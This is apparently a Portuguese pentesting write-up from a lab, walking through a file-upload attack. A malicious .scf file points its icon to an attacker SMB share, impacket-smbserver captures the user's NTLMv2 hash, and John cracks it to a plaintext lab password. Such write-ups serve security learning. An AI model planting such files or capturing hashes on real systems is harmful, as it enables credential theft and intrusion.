> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/file-upload-attack/file-upload-+-capture-ntlmv2-.scf-file-pentesting-web.md).

# Upload de Arquivo e Captura de NTLMv2 .scf

<figure><img src="/files/d61490c3e4b74af4ca05ac0daecf99cb859514da" alt=""><figcaption></figcaption></figure>

O site oferece uma opção para enviar firmware. A mensagem diz:

> Selecione o modelo da impressora e baixe a atualização de firmware correspondente ao firmware em nosso compartilhamento de arquivos. Nossa equipe de TI revisará os envios manualmente e iniciará os testes em breve.

<figure><img src="/files/b5047a0b0d245469f15c4df78cd9481065983e1d" alt=""><figcaption></figcaption></figure>

## Exploração - Arquivo SCF malicioso:

Criação de um arquivo malicioso `.scf` para capturar o NTLMv2 de um usuário quando eles o abrirem:

```
[Shell]
Command=2
IconFile=//10.10.14.7/smbFolder/pentestlab.ico
[Taskbar]
Command=ToggleDesktop

```

Inicie um listener com **impacket** para capturar o NTLMv2:

```bash
impacket-smbserver smbFolder $(pwd) -smb2support

```

Captura do hash NTLMv2 do usuário `tony`.

<figure><img src="/files/9ba9ecada5fd3bae240c55ea8bb8a14c9d01a253" alt=""><figcaption></figcaption></figure>

Quebra do hash NTLM com **John**:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash

```

`tony:liltony`

<figure><img src="/files/69863f4d3c10b9093a4d7d8d2d703e5246ce0705" alt=""><figcaption></figcaption></figure>


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